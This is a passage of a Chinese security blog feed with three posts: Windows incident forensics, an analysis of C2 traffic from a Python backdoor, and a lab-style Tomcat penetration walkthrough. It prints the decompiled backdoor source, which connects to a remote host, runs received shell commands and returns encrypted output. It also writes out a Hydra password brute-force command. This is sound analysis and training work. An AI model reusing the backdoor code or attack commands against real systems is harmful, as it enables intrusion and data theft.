format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;导出&lt;code&gt;C:\Windows\System32\config&lt;/code&gt;下的注册表文件与&lt;code&gt;C:\Users\Bobby\NTUSER.DAT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;导入&lt;code&gt;Registry Explorer&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;因为&lt;code&gt;svhost.exe&lt;/code&gt;从&lt;code&gt;AutoConnector&lt;/code&gt;目录下载，所以尝试在注册表中进行搜索&lt;code&gt;AutoConnector&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgAutoConnector1}
alt=&apos;FTK Imager中搜索包含AutoConnector关键字的注册表项结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgAutoConnector2}
alt=&apos;FTK Imager中定位AutoConnector注册表键值的截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgAutoConnector3}
alt=&apos;FTK Imager中查看更多AutoConnector相关注册表项的截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;成功定位&lt;code&gt;AutoConnector&lt;/code&gt;的位置&lt;/p&gt;
&lt;p&gt;使用VirusTotal进行分析&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgVtAutoConnector}
alt=&apos;VirusTotal中通过AutoConnector SHA1查询的结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;持久化机制：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-1966530601-...-1008&lt;/code&gt;存在恶意启动项&lt;/li&gt;
&lt;li&gt;注册表键值指向&lt;code&gt;AutoConnector.exe&lt;/code&gt;工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;分析系统日志&lt;/h3&gt;
&lt;p&gt;从&lt;code&gt;C:\Windows\System32\winevt\Logs\&lt;/code&gt;导出事件日志&lt;/p&gt;
&lt;p&gt;因为运行的脚本是Powershell脚本，所以仅导入包含Powershell关键字的日志到&lt;code&gt;EventViewer&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;但未搜索到与&lt;code&gt;connector.ps1&lt;/code&gt;相关的日志。&lt;/p&gt;
&lt;h3&gt;动态行为沙箱检测&lt;/h3&gt;
&lt;p&gt;导出恶意文件所在文件夹&lt;/p&gt;
&lt;p&gt;组策略中开启&lt;code&gt;Turn on PowerShell Transaction&lt;/code&gt;、&lt;code&gt;Turn on PowerShell Script Block Logging&lt;/code&gt;、&lt;code&gt;Turn on Script Execution&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgGroupPolicy}
alt=&apos;组策略中开启PowerShell相关日志配置的截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;运行恶意程序后查看日志&lt;/p&gt;
&lt;p&gt;获取到第一部分载荷&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgEventViewer}
alt=&apos;EventViewer中查看脚本执行日志的截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;结合之前获取的part2.txt经过base64解码成功获取到原始载荷，确认其为数据渗出的加密密钥。&lt;/p&gt;
&lt;h2&gt;攻击链全景还原&lt;/h2&gt;
&lt;p&gt;| 阶段       | 技术点       | 取证证据                       |
| ---------- | ------------ | ------------------------------ |
| 初始访问   | ？           | ？                             |
| 执行       | 服务伪装     | C:\Tools\svchost.exe进程树异常 |
| 持久化     | 注册表自启动 | Run键值指向恶意后门程序        |
| 防御规避   | 日志清除     | Security.evtx日志时间断层      |
| 命令与控制 | 反向Shell    | NetCat连接10.14.74.53:6996     |
| 数据渗出   | AES加密隧道  | 内存解密Meterpreter配置        |&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250307164005831.H8n_KRXA.png"/><enclosure url="/_astro/image-20250307164005831.H8n_KRXA.png"/></item><item><title>流量分析实战：解密Python后门的XOR与Base64加密C2通信</title><link>https://blog.0xd00.com/blog/malware-traffic-analysis-python-backdoor-xor-base64-c2-communication</link><guid isPermaLink="true">https://blog.0xd00.com/blog/malware-traffic-analysis-python-backdoor-xor-base64-c2-communication</guid><description>一份详细的恶意C2流量分析指南。本文通过真实案例，展示如何使用Wireshark和Python脚本，一步步剥离XOR与Base64双重加密，从看似无意义的流量中还原出Python后门的真实指令。</description><pubDate>Thu, 27 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;初始信息&lt;/h2&gt;
&lt;p&gt;捕获网络流量包文件&lt;code&gt;.pcap&lt;/code&gt;一份，包含异常通信行为&lt;/p&gt;
&lt;h2&gt;流量分析&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227144525368.DFYH95AE_Z1ffiF3.webp&quot; alt=&quot;导入pcap文件&quot;&gt;&lt;/p&gt;
&lt;h2&gt;流量过滤&lt;/h2&gt;
&lt;p&gt;可以看到若干&lt;code&gt;ssh&lt;/code&gt;流量，&lt;code&gt;ssh&lt;/code&gt;的传输都是加密的所以先给过滤掉&lt;/p&gt;
&lt;p&gt;发现可疑请求路径&lt;code&gt;/base64_client&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227150835278.BxfzHhYi_Zlsu53.webp&quot; alt=&quot;发现特殊路径&quot;&gt;&lt;/p&gt;
&lt;h3&gt;异常HTTP会话&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /base64_client HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.0.2.64
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.4
Date: Fri, 27 Oct 2023 03:06:00 GMT
Content-type: application/octet-stream
Content-Length: 16181879
Last-Modified: Fri, 27 Oct 2023 03:05:03 GMT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看请求头和响应头可以看到是通过&lt;code&gt;Wget&lt;/code&gt;从python的&lt;code&gt;SimpleHTTP&lt;/code&gt;下载文件，这就非常像是攻击者的常用手法&lt;/p&gt;
&lt;h3&gt;文件提取&lt;/h3&gt;
&lt;p&gt;导出&lt;code&gt;HTTP&lt;/code&gt;对象进行分析&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227151245629.21j-IAoz_Z1kzQHr.webp&quot; alt=&quot;导出HTTP对象&quot;&gt;&lt;/p&gt;
&lt;h2&gt;逆向工程&lt;/h2&gt;
&lt;h3&gt;文件预处理&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227151956920.v1Y73rRQ_2uLDTi.webp&quot; alt=&quot;查看追踪数据流&quot;&gt;&lt;/p&gt;
&lt;p&gt;因为格式看起来可能是&lt;code&gt;base64&lt;/code&gt;编码，所以尝试进行解&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat base64_client | base64 -d &gt; client
binwalk client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227152159783.CpilmWrZ_1YgwOY.webp&quot; alt=&quot;解码并判断文件类型&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以确定，这是一个&lt;code&gt;linux&lt;/code&gt;环境下的&lt;code&gt;x86&lt;/code&gt;架构可执行文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;objdump -x client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227153006517.Bpf7m1ox_JihO4.webp&quot; alt=&quot;通过objdump获取更多信息&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pydata&lt;/code&gt;段通常保存&lt;code&gt;pyc&lt;/code&gt;，由此可以判断此程序通过python编写，可能通过&lt;code&gt;pyinstaller&lt;/code&gt;打包&lt;/p&gt;
&lt;p&gt;尝试运行也可以证明&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227153305684.x8eN1z1b_Z1Tvrsm.webp&quot; alt=&quot;尝试运行&quot;&gt;&lt;/p&gt;
&lt;h3&gt;pyinstaller逆向&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python pyinstxtractor.py ./client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227153728901.B9-nsQpY_Z6BJkn.webp&quot; alt=&quot;使用pyinstxtractor反编译&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;https://github.com/extremecoders-re/pyinstxtractor.git&lt;/code&gt;来提取&lt;code&gt;pyc&lt;/code&gt;文件&lt;/p&gt;
&lt;h3&gt;核心代码逆向&lt;/h3&gt;
&lt;p&gt;接下来尝试使用&lt;code&gt;uncompyle6&lt;/code&gt;来进行反编译&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uncompyle6 -o client_extracted client_extracted/client.pyc
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import socket, base64, subprocess, sys
HOST = &quot;10.0.2.64&quot;
PORT = 1337

def xor_crypt(data, key):
    key_length = len(key)
    encrypted_data = []
    for i, byte in enumerate(data):
        encrypted_byte = byte ^ key[i % key_length]
        encrypted_data.append(encrypted_byte)
    else:
        return bytes(encrypted_data)


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while True:
        received_data = s.recv(4096).decode(&quot;utf-8&quot;)
        encoded_image, encoded_command = received_data.split(&quot;AAAAAAAAAA&quot;)
        key = &quot;MySup3rXoRKeYForCommandandControl&quot;.encode(&quot;utf-8&quot;)
        decrypted_command = xor_crypt(base64.b64decode(encoded_command.encode(&quot;utf-8&quot;)), key)
        decrypted_command = decrypted_command.decode(&quot;utf-8&quot;)
        result = subprocess.check_output(decrypted_command, shell=True).decode(&quot;utf-8&quot;)
        encrypted_result = xor_crypt(result.encode(&quot;utf-8&quot;), key)
        encrypted_result_base64 = base64.b64encode(encrypted_result).decode(&quot;utf-8&quot;)
        separator = &quot;AAAAAAAAAA&quot;
        send = encoded_image + separator + encrypted_result_base64
        s.sendall(send.encode(&quot;utf-8&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到这里已经知道了攻击者的流量加密方式：(xor+base编码)、端口(1337)、执行的命令混淆在图片的base64编码重，使用AAAAAAAAAA分割&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227155757779.BzkUU5Ys_28WQMP.webp&quot; alt=&quot;在数据流中查找分割字符串&quot;&gt;&lt;/p&gt;
&lt;h2&gt;攻击链重置&lt;/h2&gt;
&lt;p&gt;在&lt;code&gt;wireshark&lt;/code&gt;中过滤&lt;code&gt;1337&lt;/code&gt;端口，判断攻击者执行的命令&lt;/p&gt;
&lt;p&gt;尝试解码全部请求数据，可以看到攻击者用于隐藏操作命令的图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227160244152.DtHPrjvI_uzVmU.webp&quot; alt=&quot;CyberChef解码数据1&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227160319723.-5GLqwo4_Z23xBVa.webp&quot; alt=&quot;CyberChef解码数据2&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227160346860.HBK44Hoe_262zBt.webp&quot; alt=&quot;CyberChef解码数据3&quot;&gt;&lt;/p&gt;
&lt;h3&gt;编写解密代码&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import re
import base64

file_path = &apos;data.txt&apos;
xor_key = &quot;MySup3rXoRKeYForCommandandControl&quot;

def xor_decrypt(data, key):
    return &apos;&apos;.join(chr(b ^ ord(key[i % len(key)])) for i, b in enumerate(data))

with open(file_path) as file:
    content = file.read()
    matches = re.findall(r&quot;AAAAAAAAAA(.*?)iVBORw&quot;, content)

    for match in matches:
        try:
            decoded_command = base64.b64decode(match)
            print(&quot;Decrypted Command:&quot;, xor_decrypt(decoded_command, xor_key))
        except Exception as e:
            print(&quot;Error decoding command:&quot;, e)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;确认攻击者操作序列&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.0xd00.com/_astro/image-20250227162330454.CHcaYzbu_8wETA.webp&quot; alt=&quot;查看解密出的命令&quot;&gt;&lt;/p&gt;
&lt;p&gt;攻击者首先确认了当前用户的身份与权限&lt;/p&gt;
&lt;p&gt;浏览历史命令获取更多信息&lt;/p&gt;
&lt;p&gt;通过历史命令获取了明文数据库密码&lt;/p&gt;
&lt;p&gt;添加了一个具有root权限的用户&lt;/p&gt;
&lt;p&gt;制作具有SUID的后门&lt;code&gt;/usr/bin/passswd&lt;/code&gt;并检查文件权限&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;md5sum&lt;/code&gt;校验哈希值是否相等&lt;/p&gt;
&lt;p&gt;通过定时任务实现其他目标&lt;/p&gt;
&lt;h2&gt;技术指标&lt;/h2&gt;
&lt;p&gt;| 指标类型   | 具体内容                          |
| ---------- | --------------------------------- |
| C2服务器   | 10.0.2.64:1337                    |
| 加密算法   | XOR + Base64                      |
| 密钥       | MySup3rXoRKeYForCommandandControl |
| 持久化方式 | SUID后门账户、定时任务            |&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250227160346860.HBK44Hoe.png"/><enclosure url="/_astro/image-20250227160346860.HBK44Hoe.png"/></item><item><title>Tomcat渗透测试：从弱口令爆破到Root权限获取实战</title><link>https://blog.0xd00.com/blog/tomcat-manager-authentication-bypass-exploit-weak-password-root-privilege-escalation</link><guid isPermaLink="true">https://blog.0xd00.com/blog/tomcat-manager-authentication-bypass-exploit-weak-password-root-privilege-escalation</guid><description>本文完整复现了一次对Tomcat服务器的渗透测试。从Nmap端口扫描、Hydra弱口令爆破开始，到利用Metasploit部署恶意WAR包获取反向Shell，最终结合Linux内核漏洞成功提权至Root。</description><pubDate>Thu, 06 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;已知IP：10.10.172.34&lt;/p&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;p&gt;我们使用 Nmap 对目标进行全面的端口扫描，以识别开放的端口和运行的服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d0:3c:2b:8f:1e:c1:b8:aa:6b:ee:46:d0:11:7f:a0:1b (RSA)
|   256 32:54:26:c2:03:2d:03:fd:ab:18:b8:d2:32:e7:b0:da (ECDSA)
|_  256 b6:dd:8f:33:0c:39:1c:9c:ed:b6:a9:a2:b8:4a:99:d7 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn&apos;t have a title (text/html).
1234/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
MAC Address: 02:71:E0:B3:3C:D3 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/6%OT=22%CT=1%CU=42167%PV=Y%DS=1%DC=D%G=Y%M=0271E0%TM
OS:=67A448E4%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=I%II=I%
OS:TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW
OS:7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68
OS:DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=
OS:40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%
OS:O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=4
OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=
OS:Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描结果分析:
SSH (22/tcp): 开放，可用于后续的远程登录。
Apache (80/tcp): 运行着一个标准的Web服务器。
Tomcat (1234/tcp): 关键发现！ 目标运行着 Apache Tomcat 7.0.88，这是一个主要的攻击面。
AJP (8009/tcp): Tomcat的AJP连接器，也可能存在漏洞（如著名的Ghostcat）。&lt;/p&gt;
&lt;h3&gt;目录爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;
root@ip-10-10-143-174:~# nmap -sS -A 10.10.172.34
Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-06 05:29 GMT
Nmap scan report for 10.10.172.34
Host is up (0.00040s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d0:3c:2b:8f:1e:c1:b8:aa:6b:ee:46:d0:11:7f:a0:1b (RSA)
|   256 32:54:26:c2:03:2d:03:fd:ab:18:b8:d2:32:e7:b0:da (ECDSA)
|_  256 b6:dd:8f:33:0c:39:1c:9c:ed:b6:a9:a2:b8:4a:99:d7 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn&apos;t have a title (text/html).
1234/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
MAC Address: 02:71:E0:B3:3C:D3 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/6%OT=22%CT=1%CU=42167%PV=Y%DS=1%DC=D%G=Y%M=0271E0%TM
OS:=67A448E4%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=I%II=I%
OS:TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW
OS:7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68
OS:DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=
OS:40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%
OS:O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=4
OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=
OS:Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 10.10.172.34

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds
root@ip-10-10-143-174:~# dirb
dirb          dirb-gendict
root@ip-10-10-143-174:~# dirb http://10.10.172.34

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Feb  6 05:37:47 2025
URL_BASE: http://10.10.172.34/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.172.34/ ----
==&gt; DIRECTORY: http://10.10.172.34/guidelines/
+ http://10.10.172.34/index.html (CODE:200|SIZE:168)
+ http://10.10.172.34/protected (CODE:401|SIZE:459)
+ http://10.10.172.34/server-status (CODE:403|SIZE:300)

---- Entering directory: http://10.10.172.34/guidelines/ ----
+ http://10.10.172.34/guidelines/index.html (CODE:200|SIZE:51)

-----------------
END_TIME: Thu Feb  6 05:37:53 2025
DOWNLOADED: 9224 - FOUND: 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入可疑路径 &lt;code&gt;http://10.10.172.34/guidelines/index.html&lt;/code&gt; 发现一段可能是由管理员留给IT运维的话:&lt;code&gt;Hey bob, did you update that TomCat server? &lt;/code&gt;因此将关注点放在tomcat上&lt;/p&gt;
&lt;h3&gt;爆破密码&lt;/h3&gt;
&lt;p&gt;结合发现的用户名 bob，我们使用 Hydra 和常用的密码字典 rockyou.txt 对Tomcat Manager登录接口 (/manager/html)进行暴力破解。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -l bob -P /usr/share/wordlist/rockyou.txt -f -vV 10.10.172.34 http-get /manager/index.html
[80][http-get] host: 10.10.172.34   login: bob   password: bubbles
[STATUS] attack finished for 10.10.172.34 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们成功爆破出管理员凭证 bob:bubbles。这为我们提供了登录Tomcat后台的权限。&lt;/p&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nikto -id bob:bubbles -h http://10.10.172.34:1234/manager/html
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.10.172.34
+ Target Hostname:    10.10.172.34
+ Target Port:        1234
+ Start Time:         2025-02-06 06:05:03 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache-Coyote/1.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use &apos;-C all&apos; to force check all possible dirs)
+ Successfully authenticated to realm &apos;Tomcat Manager Application&apos; with user-supplied credentials.
+ Cookie JSESSIONID created without the httponly flag
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method (&apos;Allow&apos; Header): &apos;PUT&apos; method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method (&apos;Allow&apos; Header): &apos;DELETE&apos; may allow clients to remove files on the web server.
+ OSVDB-3092: /manager/html/localstart.asp: This may be interesting...
+ OSVDB-3233: /manager/html/manager/manager-howto.html: Tomcat documentation found.
+ /manager/html/manager/html: Default Tomcat Manager interface found
+ /manager/html/WorkArea/version.xml: Ektron CMS version information
+ 6544 items checked: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2025-02-06 06:05:15 (GMT0) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;漏洞利用&lt;/h2&gt;
&lt;p&gt;因为之前提到了tomcat所以先查找tomcat的漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfconsole

# 因为已经进入了管理后台所以优先关注可以通过管理后台提权的exp
msf6 &gt; search tomcat

Matching Modules
================

   #   Name                                                                       Disclosure Date  Rank       Check  Description
   -   ----                                                                       ---------------  ----       -----  -----------
   0   auxiliary/dos/http/apache_commons_fileupload_dos                           2014-02-06       normal     No     Apache Commons FileUpload and Apache Tomcat DoS
   1   exploit/multi/http/struts_dev_mode                                         2012-01-06       excellent  Yes    Apache Struts 2 Developer Mode OGNL Execution
   2   exploit/multi/http/struts2_namespace_ognl                                  2018-08-22       excellent  Yes    Apache Struts 2 Namespace Redirect OGNL Injection
   3     \_ target: Automatic detection                                           .                .          .      .
   4     \_ target: Windows                                                       .                .          .      .
   5     \_ target: Linux                                                         .                .          .      .
   6   exploit/multi/http/struts_code_exec_classloader                            2014-03-06       manual     No     Apache Struts ClassLoader Manipulation Remote Code Execution
   7     \_ target: Java                                                          .                .          .      .
   8     \_ target: Linux                                                         .                .          .      .
   9     \_ target: Windows                                                       .                .          .      .
   10    \_ target: Windows / Tomcat 6 &amp;#x26; 7 and GlassFish 4 (Remote SMB Resource)  .                .          .      .
   11  auxiliary/admin/http/tomcat_ghostcat                                       2020-02-20       normal     Yes    Apache Tomcat AJP File Read
   12  exploit/windows/http/tomcat_cgi_cmdlineargs                                2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
   13  exploit/multi/http/tomcat_mgr_deploy                                       2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   14    \_ target: Automatic                                                     .                .          .      .
   15    \_ target: Java Universal                                                .                .          .      .
   16    \_ target: Windows Universal                                             .                .          .      .
   17    \_ target: Linux x86                                                     .                .          .      .
   18  exploit/multi/http/tomcat_mgr_upload                                       2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
   19    \_ target: Java Universal                                                .                .          .      .
   20    \_ target: Windows Universal                                             .                .          .      .
   21    \_ target: Linux x86                                                     .                .          .      .
   22  auxiliary/dos/http/apache_tomcat_transfer_encoding                         2010-07-09       normal     No     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   23  auxiliary/scanner/http/tomcat_enum                                         .                normal     No     Apache Tomcat User Enumeration
   24  exploit/linux/local/tomcat_rhel_based_temp_priv_esc                        2016-10-10       manual     Yes    Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation
   25  exploit/linux/local/tomcat_ubuntu_log_init_priv_esc                        2016-09-30       manual     Yes    Apache Tomcat on Ubuntu Log Init Privilege Escalation
   26  exploit/multi/http/atlassian_confluence_webwork_ognl_injection             2021-08-25       excellent  Yes    Atlassian Confluence WebWork OGNL Injection
   27    \_ target: Unix Command                                                  .                .          .      .
   28    \_ target: Linux Dropper                                                 .                .          .      .
   29    \_ target: Windows Command                                               .                .          .      .
   30    \_ target: Windows Dropper                                               .                .          .      .
   31    \_ target: PowerShell Stager                                             .                .          .      .
   32  exploit/windows/http/cayin_xpost_sql_rce                                   2020-06-04       excellent  Yes    Cayin xPost wayfinder_seqid SQLi to RCE
   33  exploit/multi/http/cisco_dcnm_upload_2019                                  2019-06-26       excellent  Yes    Cisco Data Center Network Manager Unauthenticated Remote Code Execution
   34    \_ target: Automatic                                                     .                .          .      .
   35    \_ target: Cisco DCNM 11.1(1)                                            .                .          .      .
   36    \_ target: Cisco DCNM 11.0(1)                                            .                .          .      .
   37    \_ target: Cisco DCNM 10.4(2)                                            .                .          .      .
   38  exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec               2021-05-05       excellent  Yes    Cisco HyperFlex HX Data Platform Command Execution
   39    \_ target: Unix Command                                                  .                .          .      .
